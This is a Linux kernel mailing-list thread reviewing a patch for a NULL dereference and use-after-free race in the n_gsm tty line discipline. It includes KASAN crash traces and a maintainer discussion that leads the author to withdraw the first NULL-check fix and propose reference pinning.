Skip to contentSkip to conversation

tty: n_gsm: fix NULL deref of gsm->dlci[0] in control message handlers

PATCH In review Weiming Shi 3 participants 7 messages Jun 11 – Jun 15 TTY layer and serial drivers

lore
Share & tools
lore
#0 lore raw

PATCH 1/1 tty: n_gsm: fix NULL deref of gsm->dlci[0] in control message handlers

gsm_control_command() and gsm_control_reply() load gsm->dlci[0] and immediately dereference dlci->ftype without checking it for NULL.

On the receive path, gsm_queue() validates that gsm->dlci[0] is non-NULL and DLCI_OPEN before invoking the control handler, but the value is not held across that check: the receive worker runs from flush_to_ldisc() without taking gsm->mutex, while a concurrent GSMIOC_SETCONF ioctl can enter gsm_cleanup_mux(), which takes gsm->mutex, releases gsm->dlci[0] and sets it to NULL. If the mux is torn down between gsm_queue()'s check and the re-load inside gsm_control_command()/gsm_control_reply(), the handler dereferences a NULL dlci.

A peer that drives DLCI 0 control frames (e.g. CMD_TEST) while the mux owner reconfigures the line discipline can therefore crash the kernel (line numbers from decode_stacktrace.sh against the crashing build):

 Oops: general protection fault, probably for non-canonical address
 KASAN: null-ptr-deref in range [0x0000000000000208-0x000000000000020f]
 RIP: 0010:gsm_control_reply (drivers/tty/n_gsm.c:1497)
 Call Trace:
  gsm_dlci_command (drivers/tty/n_gsm.c:2482)
  gsm_queue.part.0 (drivers/tty/n_gsm.c:2852)
  gsm0_receive (drivers/tty/n_gsm.c:2972)
  gsmld_receive_buf (drivers/tty/n_gsm.c:3629)
  tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:391)
  tty_port_default_receive_buf (drivers/tty/tty_port.c:39)
  flush_to_ldisc (drivers/tty/tty_buffer.c:495)
  process_one_work
  worker_thread
  kthread

The other callers of these helpers (the keep-alive and negotiation timer paths) already guard the gsm->dlci[0] access; only the receive path is unguarded. The CMD_CLD handler in the same switch already checks the loaded dlci for NULL for the very same reason. Bail out early when gsm->dlci[0] has been cleared instead of dereferencing it.

Triggering this requires CAP_NET_ADMIN to attach the n_gsm line discipline (gsmld_open() uses capable(), not ns_capable()), so it is a local denial of service for a privileged mux owner racing its own control channel; harden the handlers regardless.

Fixes 5767712668b8 ("tty: n_gsm: cleanup gsm_control_command and gsm_control_reply")
Assisted-by Claude:claude-opus-4-8
---
 drivers/tty/n_gsm.c | 6 ++++++
 1 file changed, 6 insertions(+)
drivers/tty/n_gsm.c +6 -0
index 214abeb89aaa..860cfb91d510 100644
@@ -1457,6 +1457,9 @@ static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data,
 	struct gsm_msg *msg;
 	struct gsm_dlci *dlci = gsm->dlci[0];
 
+	if (!dlci)
+		return -EINVAL;
+
 	msg = gsm_data_alloc(gsm, 0, dlen + 2, dlci->ftype);
 	if (msg == NULL)
 		return -ENOMEM;
@@ -1485,6 +1488,9 @@ static void gsm_control_reply(struct gsm_mux *gsm, int cmd, const u8 *data,
 	struct gsm_msg *msg;
 	struct gsm_dlci *dlci = gsm->dlci[0];
 
+	if (!dlci)
+		return;
+
 	msg = gsm_data_alloc(gsm, 0, dlen + 2, dlci->ftype);
 	if (msg == NULL)
 		return;
Signature · 1 line
2.43.0
#1 lore raw
Quoted 55 lines · Weiming Shi

gsm_control_command() and gsm_control_reply() load gsm->dlci[0] and immediately dereference dlci->ftype without checking it for NULL.

On the receive path, gsm_queue() validates that gsm->dlci[0] is non-NULL and DLCI_OPEN before invoking the control handler, but the value is not held across that check: the receive worker runs from flush_to_ldisc() without taking gsm->mutex, while a concurrent GSMIOC_SETCONF ioctl can enter gsm_cleanup_mux(), which takes gsm->mutex, releases gsm->dlci[0] and sets it to NULL. If the mux is torn down between gsm_queue()'s check and the re-load inside gsm_control_command()/gsm_control_reply(), the handler dereferences a NULL dlci.

A peer that drives DLCI 0 control frames (e.g. CMD_TEST) while the mux owner reconfigures the line discipline can therefore crash the kernel (line numbers from decode_stacktrace.sh against the crashing build):

 Oops: general protection fault, probably for non-canonical address
 KASAN: null-ptr-deref in range [0x0000000000000208-0x000000000000020f]
 RIP: 0010:gsm_control_reply (drivers/tty/n_gsm.c:1497)
 Call Trace:
  gsm_dlci_command (drivers/tty/n_gsm.c:2482)
  gsm_queue.part.0 (drivers/tty/n_gsm.c:2852)
  gsm0_receive (drivers/tty/n_gsm.c:2972)
  gsmld_receive_buf (drivers/tty/n_gsm.c:3629)
  tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:391)
  tty_port_default_receive_buf (drivers/tty/tty_port.c:39)
  flush_to_ldisc (drivers/tty/tty_buffer.c:495)
  process_one_work
  worker_thread
  kthread

The other callers of these helpers (the keep-alive and negotiation timer paths) already guard the gsm->dlci[0] access; only the receive path is unguarded. The CMD_CLD handler in the same switch already checks the loaded dlci for NULL for the very same reason. Bail out early when gsm->dlci[0] has been cleared instead of dereferencing it.

Triggering this requires CAP_NET_ADMIN to attach the n_gsm line discipline (gsmld_open() uses capable(), not ns_capable()), so it is a local denial of service for a privileged mux owner racing its own control channel; harden the handlers regardless.

Fixes 5767712668b8 ("tty: n_gsm: cleanup gsm_control_command and gsm_control_reply")
Assisted-by Claude:claude-opus-4-8
---
 drivers/tty/n_gsm.c | 6 ++++++
 1 file changed, 6 insertions(+)
drivers/tty/n_gsm.c +0 -0
index 214abeb89aaa..860cfb91d510 100644

drivers/tty/n_gsm.c static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data, · line 1461

Quoted 5 lines
drivers/tty/n_gsm.c +2 -0
@@ -1457,6 +1457,9 @@ static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data,
 	struct gsm_msg *msg;
 	struct gsm_dlci *dlci = gsm->dlci[0];
 
+	if (!dlci)
+		return -EINVAL;

What precents dlci from being NULL right after you check this?

thanks,

greg k-h

#2 lore raw
Quoted 59 lines · Greg Kroah-Hartman
Quoted 58 lines · Weiming Shi

gsm_control_command() and gsm_control_reply() load gsm->dlci[0] and immediately dereference dlci->ftype without checking it for NULL.

On the receive path, gsm_queue() validates that gsm->dlci[0] is non-NULL and DLCI_OPEN before invoking the control handler, but the value is not held across that check: the receive worker runs from flush_to_ldisc() without taking gsm->mutex, while a concurrent GSMIOC_SETCONF ioctl can enter gsm_cleanup_mux(), which takes gsm->mutex, releases gsm->dlci[0] and sets it to NULL. If the mux is torn down between gsm_queue()'s check and the re-load inside gsm_control_command()/gsm_control_reply(), the handler dereferences a NULL dlci.

A peer that drives DLCI 0 control frames (e.g. CMD_TEST) while the mux owner reconfigures the line discipline can therefore crash the kernel (line numbers from decode_stacktrace.sh against the crashing build):

 Oops: general protection fault, probably for non-canonical address
 KASAN: null-ptr-deref in range [0x0000000000000208-0x000000000000020f]
 RIP: 0010:gsm_control_reply (drivers/tty/n_gsm.c:1497)
 Call Trace:
  gsm_dlci_command (drivers/tty/n_gsm.c:2482)
  gsm_queue.part.0 (drivers/tty/n_gsm.c:2852)
  gsm0_receive (drivers/tty/n_gsm.c:2972)
  gsmld_receive_buf (drivers/tty/n_gsm.c:3629)
  tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:391)
  tty_port_default_receive_buf (drivers/tty/tty_port.c:39)
  flush_to_ldisc (drivers/tty/tty_buffer.c:495)
  process_one_work
  worker_thread
  kthread

The other callers of these helpers (the keep-alive and negotiation timer paths) already guard the gsm->dlci[0] access; only the receive path is unguarded. The CMD_CLD handler in the same switch already checks the loaded dlci for NULL for the very same reason. Bail out early when gsm->dlci[0] has been cleared instead of dereferencing it.

Triggering this requires CAP_NET_ADMIN to attach the n_gsm line discipline (gsmld_open() uses capable(), not ns_capable()), so it is a local denial of service for a privileged mux owner racing its own control channel; harden the handlers regardless.

Fixes 5767712668b8 ("tty: n_gsm: cleanup gsm_control_command and gsm_control_reply")
Assisted-by Claude:claude-opus-4-8
---
 drivers/tty/n_gsm.c | 6 ++++++
 1 file changed, 6 insertions(+)
drivers/tty/n_gsm.c +0 -0
index 214abeb89aaa..860cfb91d510 100644
@@ -1457,6 +1457,9 @@ static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data,
 	struct gsm_msg *msg;
 	struct gsm_dlci *dlci = gsm->dlci[0];
 
Quoted 8 lines

drivers/tty/n_gsm.c static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data, · line 1461

Quoted 2 lines
drivers/tty/n_gsm.c +2 -0
+	if (!dlci)
+		return -EINVAL;

What precents dlci from being NULL right after you check this?

thanks,

greg k-h

Hi greg,

I'm sorry for taking so long to respond.

After a closer look I think your review is correct.

The real problem is that the receive path touches gsm->dlci[] with no lock. The teardown side holds gsm->mutex while it releases and frees the dlci, but the receive worker does not: gsm_queue() loads dlci = gsm->dlci[address] while it is still valid and passes it down through dlci->data() to gsm_control_command()/gsm_control_reply(), which also re-read gsm->dlci[0] and dereference dlci->ftype.

Meanwhile GSMIOC_SETCONF -> gsm_cleanup_mux() takes gsm->mutex, closes DLCI0 and drops its reference via gsm_dlci_release(); the final tty_port_put() runs the gsm_dlci_free() destructor, which clears the slot and frees the object:

```
  dlci->gsm->dlci[dlci->addr] = NULL;
  kfree(dlci);
```

If that happens while the worker is still in the dispatch above, it ends up dereferencing the freed dlci. I can reproduce this as a use-after-free:

```
[  997.227486][   T46] BUG: KASAN: slab-use-after-free in gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
[  997.229052][   T46] Read of size 8 at addr ffff888029ae9000 by task kworker/u16:2/46
[  997.230517][   T46]
[  997.230952][   T46] CPU: 1 UID: 0 PID: 46 Comm: kworker/u16:2 Not tainted 7.1.0-rc7 #1 PREEMPT(full)
[  997.230958][   T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-4
[  997.230961][   T46] Workqueue: events_unbound flush_to_ldisc
[  997.230969][   T46] Call Trace:
[  997.230972][   T46]  <TASK>
[  997.230974][   T46]  dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[  997.230990][   T46]  print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
[  997.231008][   T46]  kasan_report (mm/kasan/report.c:595)
[  997.231016][   T46]  gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
[  997.231020][   T46]  gsm_dlci_command (drivers/tty/n_gsm.c:1873 drivers/tty/n_gsm.c:2477)
[  997.231036][   T46]  gsmld_receive_buf (drivers/tty/n_gsm.c:3616)
[  997.231044][   T46]  tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:398)
[  997.231052][   T46]  tty_port_default_receive_buf (drivers/tty/tty_port.c:37)
[  997.231056][   T46]  flush_to_ldisc (drivers/tty/tty_buffer.c:452 drivers/tty/tty_buffer.c:502)
[  997.231066][   T46]  process_one_work (kernel/workqueue.c:3314)
[  997.231082][   T46]  worker_thread (kernel/workqueue.c:3397 kernel/workqueue.c:3478)
[  997.231091][   T46]  kthread (kernel/kthread.c:436)
[  997.231103][   T46]  ret_from_fork (arch/x86/kernel/process.c:158)
[  997.231120][   T46]  ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[  997.231128][   T46]  </TASK>
[  997.231130][   T46]
[  997.267905][   T46] Allocated by task 5110:
[  997.268716][   T46]  kasan_save_stack (mm/kasan/common.c:57)
[  997.269595][   T46]  kasan_save_track (mm/kasan/common.c:78)
[  997.270483][   T46]  __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
[  997.271353][   T46]  gsm_dlci_alloc (./include/linux/slab.h:950 ./include/linux/slab.h:1188 drivers/tty/n_gsm.c:2648)
[  997.272203][   T46]  gsm_activate_mux (drivers/tty/n_gsm.c:3189)
[  997.273109][   T46]  gsmld_ioctl (drivers/tty/n_gsm.c:3443 drivers/tty/n_gsm.c:3846)
[  997.273981][   T46]  tty_ioctl (drivers/tty/tty_io.c:2801)
[  997.274789][   T46]  __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
[  997.275682][   T46]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[  997.276544][   T46]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[  997.277658][   T46]
[  997.278108][   T46] Freed by task 5110:
[  997.278865][   T46]  kasan_save_stack (mm/kasan/common.c:57)
[  997.279740][   T46]  kasan_save_track (mm/kasan/common.c:78)
[  997.280615][   T46]  kasan_save_free_info (mm/kasan/generic.c:584)
[  997.281554][   T46]  __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
[  997.282435][   T46]  kfree (./include/linux/kasan.h:235 mm/slub.c:2689 mm/slub.c:6251 mm/slub.c:6566)
[  997.283159][   T46]  gsm_cleanup_mux (drivers/tty/n_gsm.c:2711 drivers/tty/n_gsm.c:2744 drivers/tty/n_gsm.c:3161)
[  997.284050][   T46]  gsmld_ioctl (drivers/tty/n_gsm.c:3415 drivers/tty/n_gsm.c:3846)
[  997.284928][   T46]  tty_ioctl (drivers/tty/tty_io.c:2801)
[  997.285746][   T46]  __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
[  997.286653][   T46]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[  997.287526][   T46]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[  997.288639][   T46]

```

The NULL deref I reported is the same unguarded access on the same path, just hitting the window after the slot is already cleared. Either way a NULL check in the handlers can't fix it, since in the UAF case dlci isn't NULL.

I think the fix should serialize the receive side against gsm_cleanup_mux() instead of checking in the handlers. Two ways I can see:

1. take gsm->mutex around the dlci lookup and dispatch in gsm_queue(), or
2. pin the dlci across the dispatch using its existing tty_port ref (dlci_get/dlci_put), so gsm_dlci_free() can't run while it's in use.

Do you have a preference, or is there a pattern in n_gsm you'd rather I use? I'll respin v2 once I know which way to go.

And I'll send the reproducer and the config to trigger it in a separate mail.

Thanks,
Weiming

#3 lore raw
Quoted 155 lines · Weiming Shi
Quoted 59 lines · Greg Kroah-Hartman
Quoted 58 lines · Weiming Shi

gsm_control_command() and gsm_control_reply() load gsm->dlci[0] and immediately dereference dlci->ftype without checking it for NULL.

On the receive path, gsm_queue() validates that gsm->dlci[0] is non-NULL and DLCI_OPEN before invoking the control handler, but the value is not held across that check: the receive worker runs from flush_to_ldisc() without taking gsm->mutex, while a concurrent GSMIOC_SETCONF ioctl can enter gsm_cleanup_mux(), which takes gsm->mutex, releases gsm->dlci[0] and sets it to NULL. If the mux is torn down between gsm_queue()'s check and the re-load inside gsm_control_command()/gsm_control_reply(), the handler dereferences a NULL dlci.

A peer that drives DLCI 0 control frames (e.g. CMD_TEST) while the mux owner reconfigures the line discipline can therefore crash the kernel (line numbers from decode_stacktrace.sh against the crashing build):

 Oops: general protection fault, probably for non-canonical address
 KASAN: null-ptr-deref in range [0x0000000000000208-0x000000000000020f]
 RIP: 0010:gsm_control_reply (drivers/tty/n_gsm.c:1497)
 Call Trace:
  gsm_dlci_command (drivers/tty/n_gsm.c:2482)
  gsm_queue.part.0 (drivers/tty/n_gsm.c:2852)
  gsm0_receive (drivers/tty/n_gsm.c:2972)
  gsmld_receive_buf (drivers/tty/n_gsm.c:3629)
  tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:391)
  tty_port_default_receive_buf (drivers/tty/tty_port.c:39)
  flush_to_ldisc (drivers/tty/tty_buffer.c:495)
  process_one_work
  worker_thread
  kthread

The other callers of these helpers (the keep-alive and negotiation timer paths) already guard the gsm->dlci[0] access; only the receive path is unguarded. The CMD_CLD handler in the same switch already checks the loaded dlci for NULL for the very same reason. Bail out early when gsm->dlci[0] has been cleared instead of dereferencing it.

Triggering this requires CAP_NET_ADMIN to attach the n_gsm line discipline (gsmld_open() uses capable(), not ns_capable()), so it is a local denial of service for a privileged mux owner racing its own control channel; harden the handlers regardless.

Fixes 5767712668b8 ("tty: n_gsm: cleanup gsm_control_command and gsm_control_reply")
Assisted-by Claude:claude-opus-4-8
---
 drivers/tty/n_gsm.c | 6 ++++++
 1 file changed, 6 insertions(+)
drivers/tty/n_gsm.c +0 -0
index 214abeb89aaa..860cfb91d510 100644
@@ -1457,6 +1457,9 @@ static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data,
 	struct gsm_msg *msg;
 	struct gsm_dlci *dlci = gsm->dlci[0];
 
Quoted 8 lines

drivers/tty/n_gsm.c static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data, · line 1461

Quoted 2 lines
drivers/tty/n_gsm.c +2 -0
+	if (!dlci)
+		return -EINVAL;

What precents dlci from being NULL right after you check this?

thanks,

greg k-h

Hi greg,

I'm sorry for taking so long to respond.

After a closer look I think your review is correct.

The real problem is that the receive path touches gsm->dlci[] with no lock. The teardown side holds gsm->mutex while it releases and frees the dlci, but the receive worker does not: gsm_queue() loads dlci = gsm->dlci[address] while it is still valid and passes it down through dlci->data() to gsm_control_command()/gsm_control_reply(), which also re-read gsm->dlci[0] and dereference dlci->ftype.

Meanwhile GSMIOC_SETCONF -> gsm_cleanup_mux() takes gsm->mutex, closes DLCI0 and drops its reference via gsm_dlci_release(); the final tty_port_put() runs the gsm_dlci_free() destructor, which clears the slot and frees the object:

```
  dlci->gsm->dlci[dlci->addr] = NULL;
  kfree(dlci);
```

If that happens while the worker is still in the dispatch above, it ends up dereferencing the freed dlci. I can reproduce this as a use-after-free:

```
[  997.227486][   T46] BUG: KASAN: slab-use-after-free in gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
[  997.229052][   T46] Read of size 8 at addr ffff888029ae9000 by task kworker/u16:2/46
[  997.230517][   T46]
[  997.230952][   T46] CPU: 1 UID: 0 PID: 46 Comm: kworker/u16:2 Not tainted 7.1.0-rc7 #1 PREEMPT(full)
[  997.230958][   T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-4
[  997.230961][   T46] Workqueue: events_unbound flush_to_ldisc
[  997.230969][   T46] Call Trace:
[  997.230972][   T46]  <TASK>
[  997.230974][   T46]  dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[  997.230990][   T46]  print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
[  997.231008][   T46]  kasan_report (mm/kasan/report.c:595)
[  997.231016][   T46]  gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
[  997.231020][   T46]  gsm_dlci_command (drivers/tty/n_gsm.c:1873 drivers/tty/n_gsm.c:2477)
[  997.231036][   T46]  gsmld_receive_buf (drivers/tty/n_gsm.c:3616)
[  997.231044][   T46]  tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:398)
[  997.231052][   T46]  tty_port_default_receive_buf (drivers/tty/tty_port.c:37)
[  997.231056][   T46]  flush_to_ldisc (drivers/tty/tty_buffer.c:452 drivers/tty/tty_buffer.c:502)
[  997.231066][   T46]  process_one_work (kernel/workqueue.c:3314)
[  997.231082][   T46]  worker_thread (kernel/workqueue.c:3397 kernel/workqueue.c:3478)
[  997.231091][   T46]  kthread (kernel/kthread.c:436)
[  997.231103][   T46]  ret_from_fork (arch/x86/kernel/process.c:158)
[  997.231120][   T46]  ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[  997.231128][   T46]  </TASK>
[  997.231130][   T46]
[  997.267905][   T46] Allocated by task 5110:
[  997.268716][   T46]  kasan_save_stack (mm/kasan/common.c:57)
[  997.269595][   T46]  kasan_save_track (mm/kasan/common.c:78)
[  997.270483][   T46]  __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
[  997.271353][   T46]  gsm_dlci_alloc (./include/linux/slab.h:950 ./include/linux/slab.h:1188 drivers/tty/n_gsm.c:2648)
[  997.272203][   T46]  gsm_activate_mux (drivers/tty/n_gsm.c:3189)
[  997.273109][   T46]  gsmld_ioctl (drivers/tty/n_gsm.c:3443 drivers/tty/n_gsm.c:3846)
[  997.273981][   T46]  tty_ioctl (drivers/tty/tty_io.c:2801)
[  997.274789][   T46]  __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
[  997.275682][   T46]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[  997.276544][   T46]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[  997.277658][   T46]
[  997.278108][   T46] Freed by task 5110:
[  997.278865][   T46]  kasan_save_stack (mm/kasan/common.c:57)
[  997.279740][   T46]  kasan_save_track (mm/kasan/common.c:78)
[  997.280615][   T46]  kasan_save_free_info (mm/kasan/generic.c:584)
[  997.281554][   T46]  __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
[  997.282435][   T46]  kfree (./include/linux/kasan.h:235 mm/slub.c:2689 mm/slub.c:6251 mm/slub.c:6566)
[  997.283159][   T46]  gsm_cleanup_mux (drivers/tty/n_gsm.c:2711 drivers/tty/n_gsm.c:2744 drivers/tty/n_gsm.c:3161)
[  997.284050][   T46]  gsmld_ioctl (drivers/tty/n_gsm.c:3415 drivers/tty/n_gsm.c:3846)
[  997.284928][   T46]  tty_ioctl (drivers/tty/tty_io.c:2801)
[  997.285746][   T46]  __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
[  997.286653][   T46]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[  997.287526][   T46]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[  997.288639][   T46]

```

The NULL deref I reported is the same unguarded access on the same path, just hitting the window after the slot is already cleared. Either way a NULL check in the handlers can't fix it, since in the UAF case dlci isn't NULL.

I think the fix should serialize the receive side against gsm_cleanup_mux() instead of checking in the handlers. Two ways I can see:

Quoted 6 lines

1. take gsm->mutex around the dlci lookup and dispatch in gsm_queue(), or
2. pin the dlci across the dispatch using its existing tty_port ref (dlci_get/dlci_put), so gsm_dlci_free() can't run while it's in use.

Do you have a preference, or is there a pattern in n_gsm you'd rather I use? I'll respin v2 once I know which way to go.

The bigger issue here is that almost no one has this hardware. And those that do, don't care about these types of issues as they do not have untrusted data or untrusted users, so be careful when changing things that you aren't able to test.

I think that option 2 would probably be best, as that should not affect any fast code paths, right?

Quoted 1 line

And I'll send the reproducer and the config to trigger it in a separate mail.

Can you turn that into a real test to be added to the tree in the correct location? I think we need to start adding these so that we get a base regression test for people to be able to run as all the LLM tools seem to love the broken code in this file :)

thanks,

greg k-h

#4 lore raw
Quoted 173 lines · Greg Kroah-Hartman
Quoted 155 lines · Weiming Shi
Quoted 59 lines · Greg Kroah-Hartman
Quoted 58 lines · Weiming Shi

gsm_control_command() and gsm_control_reply() load gsm->dlci[0] and immediately dereference dlci->ftype without checking it for NULL.

On the receive path, gsm_queue() validates that gsm->dlci[0] is non-NULL and DLCI_OPEN before invoking the control handler, but the value is not held across that check: the receive worker runs from flush_to_ldisc() without taking gsm->mutex, while a concurrent GSMIOC_SETCONF ioctl can enter gsm_cleanup_mux(), which takes gsm->mutex, releases gsm->dlci[0] and sets it to NULL. If the mux is torn down between gsm_queue()'s check and the re-load inside gsm_control_command()/gsm_control_reply(), the handler dereferences a NULL dlci.

A peer that drives DLCI 0 control frames (e.g. CMD_TEST) while the mux owner reconfigures the line discipline can therefore crash the kernel (line numbers from decode_stacktrace.sh against the crashing build):

 Oops: general protection fault, probably for non-canonical address
 KASAN: null-ptr-deref in range [0x0000000000000208-0x000000000000020f]
 RIP: 0010:gsm_control_reply (drivers/tty/n_gsm.c:1497)
 Call Trace:
  gsm_dlci_command (drivers/tty/n_gsm.c:2482)
  gsm_queue.part.0 (drivers/tty/n_gsm.c:2852)
  gsm0_receive (drivers/tty/n_gsm.c:2972)
  gsmld_receive_buf (drivers/tty/n_gsm.c:3629)
  tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:391)
  tty_port_default_receive_buf (drivers/tty/tty_port.c:39)
  flush_to_ldisc (drivers/tty/tty_buffer.c:495)
  process_one_work
  worker_thread
  kthread

The other callers of these helpers (the keep-alive and negotiation timer paths) already guard the gsm->dlci[0] access; only the receive path is unguarded. The CMD_CLD handler in the same switch already checks the loaded dlci for NULL for the very same reason. Bail out early when gsm->dlci[0] has been cleared instead of dereferencing it.

Triggering this requires CAP_NET_ADMIN to attach the n_gsm line discipline (gsmld_open() uses capable(), not ns_capable()), so it is a local denial of service for a privileged mux owner racing its own control channel; harden the handlers regardless.

Fixes 5767712668b8 ("tty: n_gsm: cleanup gsm_control_command and gsm_control_reply")
Assisted-by Claude:claude-opus-4-8
---
 drivers/tty/n_gsm.c | 6 ++++++
 1 file changed, 6 insertions(+)
drivers/tty/n_gsm.c +0 -0
index 214abeb89aaa..860cfb91d510 100644
@@ -1457,6 +1457,9 @@ static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data,
 	struct gsm_msg *msg;
 	struct gsm_dlci *dlci = gsm->dlci[0];
 
Quoted 8 lines

drivers/tty/n_gsm.c static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data, · line 1461

Quoted 2 lines
drivers/tty/n_gsm.c +2 -0
+	if (!dlci)
+		return -EINVAL;

What precents dlci from being NULL right after you check this?

thanks,

greg k-h

Hi greg,

I'm sorry for taking so long to respond.

After a closer look I think your review is correct.

The real problem is that the receive path touches gsm->dlci[] with no lock. The teardown side holds gsm->mutex while it releases and frees the dlci, but the receive worker does not: gsm_queue() loads dlci = gsm->dlci[address] while it is still valid and passes it down through dlci->data() to gsm_control_command()/gsm_control_reply(), which also re-read gsm->dlci[0] and dereference dlci->ftype.

Meanwhile GSMIOC_SETCONF -> gsm_cleanup_mux() takes gsm->mutex, closes DLCI0 and drops its reference via gsm_dlci_release(); the final tty_port_put() runs the gsm_dlci_free() destructor, which clears the slot and frees the object:

```
  dlci->gsm->dlci[dlci->addr] = NULL;
  kfree(dlci);
```

If that happens while the worker is still in the dispatch above, it ends up dereferencing the freed dlci. I can reproduce this as a use-after-free:

```
[  997.227486][   T46] BUG: KASAN: slab-use-after-free in gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
[  997.229052][   T46] Read of size 8 at addr ffff888029ae9000 by task kworker/u16:2/46
[  997.230517][   T46]
[  997.230952][   T46] CPU: 1 UID: 0 PID: 46 Comm: kworker/u16:2 Not tainted 7.1.0-rc7 #1 PREEMPT(full)
[  997.230958][   T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-4
[  997.230961][   T46] Workqueue: events_unbound flush_to_ldisc
[  997.230969][   T46] Call Trace:
[  997.230972][   T46]  <TASK>
[  997.230974][   T46]  dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[  997.230990][   T46]  print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
[  997.231008][   T46]  kasan_report (mm/kasan/report.c:595)
[  997.231016][   T46]  gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
[  997.231020][   T46]  gsm_dlci_command (drivers/tty/n_gsm.c:1873 drivers/tty/n_gsm.c:2477)
[  997.231036][   T46]  gsmld_receive_buf (drivers/tty/n_gsm.c:3616)
[  997.231044][   T46]  tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:398)
[  997.231052][   T46]  tty_port_default_receive_buf (drivers/tty/tty_port.c:37)
[  997.231056][   T46]  flush_to_ldisc (drivers/tty/tty_buffer.c:452 drivers/tty/tty_buffer.c:502)
[  997.231066][   T46]  process_one_work (kernel/workqueue.c:3314)
[  997.231082][   T46]  worker_thread (kernel/workqueue.c:3397 kernel/workqueue.c:3478)
[  997.231091][   T46]  kthread (kernel/kthread.c:436)
[  997.231103][   T46]  ret_from_fork (arch/x86/kernel/process.c:158)
[  997.231120][   T46]  ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[  997.231128][   T46]  </TASK>
[  997.231130][   T46]
[  997.267905][   T46] Allocated by task 5110:
[  997.268716][   T46]  kasan_save_stack (mm/kasan/common.c:57)
[  997.269595][   T46]  kasan_save_track (mm/kasan/common.c:78)
[  997.270483][   T46]  __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
[  997.271353][   T46]  gsm_dlci_alloc (./include/linux/slab.h:950 ./include/linux/slab.h:1188 drivers/tty/n_gsm.c:2648)
[  997.272203][   T46]  gsm_activate_mux (drivers/tty/n_gsm.c:3189)
[  997.273109][   T46]  gsmld_ioctl (drivers/tty/n_gsm.c:3443 drivers/tty/n_gsm.c:3846)
[  997.273981][   T46]  tty_ioctl (drivers/tty/tty_io.c:2801)
[  997.274789][   T46]  __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
[  997.275682][   T46]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[  997.276544][   T46]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[  997.277658][   T46]
[  997.278108][   T46] Freed by task 5110:
[  997.278865][   T46]  kasan_save_stack (mm/kasan/common.c:57)
[  997.279740][   T46]  kasan_save_track (mm/kasan/common.c:78)
[  997.280615][   T46]  kasan_save_free_info (mm/kasan/generic.c:584)
[  997.281554][   T46]  __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
